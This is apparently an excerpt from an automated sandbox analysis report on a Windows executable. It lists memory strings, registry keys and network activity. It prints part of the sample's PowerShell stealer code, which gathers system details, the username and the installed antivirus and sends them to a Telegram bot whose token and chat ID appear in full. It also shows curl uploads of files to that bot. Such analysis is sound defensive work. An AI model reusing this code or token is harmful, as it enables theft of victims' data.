Source: n0PDCyrFnf.exe |
Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE |
Source: n0PDCyrFnf.exe, 00000000.00000002.1825821731.000000001C7F0000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://crl.v |
Source: n0PDCyrFnf.exe, 00000000.00000002.1828937086.00000000226BC000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://go.microsoftL |
Source: n0PDCyrFnf.exe, 00000000.00000002.1828937086.00000000226BC000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://go.microsoftLanguagePackManagement.psd1 |
Source: n0PDCyrFnf.exe, 00000000.00000002.1823357610.0000000013E07000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://nuget.org/NuGet.exe |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003FCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://pesterbdd.com/images/Pester.png |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.00000000041E9000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/ |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.00000000041E9000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://schemas.xmlsoap.org/wsdl/ |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003FCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html |
Source: n0PDCyrFnf.exe, 00000000.00000002.1828302488.000000002015D000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://www.t.com/pkiops/cersoft%20Time-Stam |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.00000000041E9000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://aka.ms/winsvr-2022-pshelp |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003FCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003FCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003FCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot$token/sendDocument |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003FCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot$token/sendMessage |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000004C81000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot7516945260:AAHF6P58 |
Source: curl.exe, 00000003.00000002.1793058595.000001CC6B8A8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1792740899.000001CC6B8BE000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000002.1793125910.000001CC6B8BF000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1792902079.000001CC6B8BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000002.1793058595.000001CC6B8A0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1792770937.000001CC6B8BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1792789597.000001CC6B8BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1792855039.000001CC6B8BF000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot7516945260:AAHF6P58pJ_k3-YC5EE4VeOIq-d7pE8Iyag/sendDocument |
Source: curl.exe, 00000003.00000002.1793058595.000001CC6B8A8000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot7516945260:AAHF6P58pJ_k3-YC5EE4VeOIq-d7pE8Iyag/sendDocument- |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000004C81000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot7516945260:AAHF6P58pJ_k3-YC5EE4VeOIq-d7pE8Iyag/sendDocument8 |
Source: curl.exe, 00000003.00000002.1793058595.000001CC6B8A0000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot7516945260:AAHF6P58pJ_k3-YC5EE4VeOIq-d7pE8Iyag/sendDocumentC: |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000004C81000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot7516945260:AAHF6P58pJ_k3-YC5EE4VeOIq-d7pE8Iyag/sendDocumentX |
Source: curl.exe, 00000003.00000003.1792740899.000001CC6B8BE000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000002.1793125910.000001CC6B8BF000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1792855039.000001CC6B8BF000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot7516945260:AAHF6P58pJ_k3-YC5EE4VeOIq-d7pE8Iyag/sendDocument_ |
Source: curl.exe, 00000003.00000003.1792902079.000001CC6B8BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1792770937.000001CC6B8BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1792789597.000001CC6B8BD000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot7516945260:AAHF6P58pJ_k3-YC5EE4VeOIq-d7pE8Iyag/sendDocumentapi.telegram. |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003FCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://api.telegram.org/bot7516945260:AAHF6P58pJ_k3-YC5EE4VeOIq-d7pE8Iyag/sendMessageP |
Source: n0PDCyrFnf.exe, 00000000.00000002.1823357610.0000000013E07000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://contoso.com/ |
Source: n0PDCyrFnf.exe, 00000000.00000002.1823357610.0000000013E07000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://contoso.com/Icon |
Source: n0PDCyrFnf.exe, 00000000.00000002.1823357610.0000000013E07000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://contoso.com/License |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003FCC000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://github.com/Pester/Pester |
Source: n0PDCyrFnf.exe, 00000000.00000002.1823357610.0000000013E07000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://nuget.org/nuget.exe |
Source: unknown |
Network traffic detected: HTTP traffic on port 49733 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 49733 |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 49730 |
Source: unknown |
Network traffic detected: HTTP traffic on port 49730 -> 443 |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System |
Jump to behavior |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System |
Jump to behavior |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003D93000.00000004.00000800.00020000.00000000.sdmp |
Binary or memory string: OriginalFilename vs n0PDCyrFnf.exe |
Source: n0PDCyrFnf.exe, 00000000.00000002.1809982095.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp |
Binary or memory string: OriginalFileName vs n0PDCyrFnf.exe |
Source: n0PDCyrFnf.exe, jwyfyp5v6sYM3bcUbO.cs |
Cryptographic APIs: 'CreateDecryptor' |
Source: n0PDCyrFnf.exe, jwyfyp5v6sYM3bcUbO.cs |
Cryptographic APIs: 'CreateDecryptor' |
Source: n0PDCyrFnf.exe, jwyfyp5v6sYM3bcUbO.cs |
Cryptographic APIs: 'CreateDecryptor' |
Source: n0PDCyrFnf.exe, jwyfyp5v6sYM3bcUbO.cs |
Cryptographic APIs: 'CreateDecryptor' |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Mutant created: NULL |
Source: C:\Windows\System32\conhost.exe |
Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5800:120:WilError_03 |
Source: C:\Windows\System32\conhost.exe |
Mutant created: \BaseNamedObjects\Local\SM0:2080:120:WilError_03 |
Source: C:\Users\user\Desktop\n0PDCyrFnf.exe |
Anti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()$token = "7516945260:AAHF6P58pJ_k3-YC5EE4VeOIq-d7pE8Iyag"$chatId = "-1002165480850"$telegramApiUrl = "https://api.telegram.org/bot$token/sendMessage"function Upload_Telegram_Info { $osversion = (Get-WmiObject -class Win32_OperatingSystem).Caption $uuid = Get-WmiObject -Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID $cpu = Get-WmiObject -Class Win32_Processor | Select-Object -ExpandProperty Name $gpu = (Get-WmiObject Win32_VideoController).Name $format = " GB" $total = Get-CimInstance Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | Foreach {"{0:N2}" -f ([math]::round(($_.Sum / 1GB),2))} $raminfo = "$total" + "$format" function avinfo { $wmiQuery = "SELECT * FROM AntiVirusProduct" $AntivirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Query $wmiQuery $AntivirusProduct.displayName } $avlist = avinfo -autosize | ft | out-string function Get-Uptime { $ts = (Get-Date) - (Get-CimInstance -ClassName Win32_OperatingSystem -ComputerName $computername).LastBootUpTime $uptimedata = '{0} days {1} hours {2} minutes {3} seconds' -f $ts.Days, $ts.Hours, $ts.Minutes, $ts.Seconds $uptimedata }$uptime = Get-Uptime$username = $env:USERNAME$resolution = wmic path Win32_VideoController get VideoModeDescription /format:csv | Select-String -Pattern "\d{3,4} x \d{3,4}" | ForEach-Object { $_.Matches.Value } $message = @"SYSTEM DATA- Antivirus : $avlistHardware:- Uptime: $uptime- OS: $osversion- Screen Size: $resolution- CPU: $cpu- GPU: $gpu- RAM: $raminfo- HWID: $uuid"@ $payload = @{ chat_id = $chatId text = $message parse_mode = "Markdown" } $jsonPayload = $payload | ConvertTo-Json -Depth 10 Invoke-WebRequest -Uri $telegramApiUrl -Method POST -Body $jsonPayload -ContentType "application/json; charset=utf-8" -UseBasicParsing | Out-Null $extractor = "$env:LOCALAPPDATA\Temp\database" New-Item -ItemType Directory -Path $extractor -Force | out-null $env:username > $extractor\username.txt$loadedModules = @() $processes = Get-Process | Where-Object { $_.ProcessName -notlike "svchost*" } foreach ($process in $processes) { try { $modules = $process.Modules | Select-Object -ExpandProperty FileName $modules = $modules | Where-Object { $_ -notmatch "^C:\\WINDOW |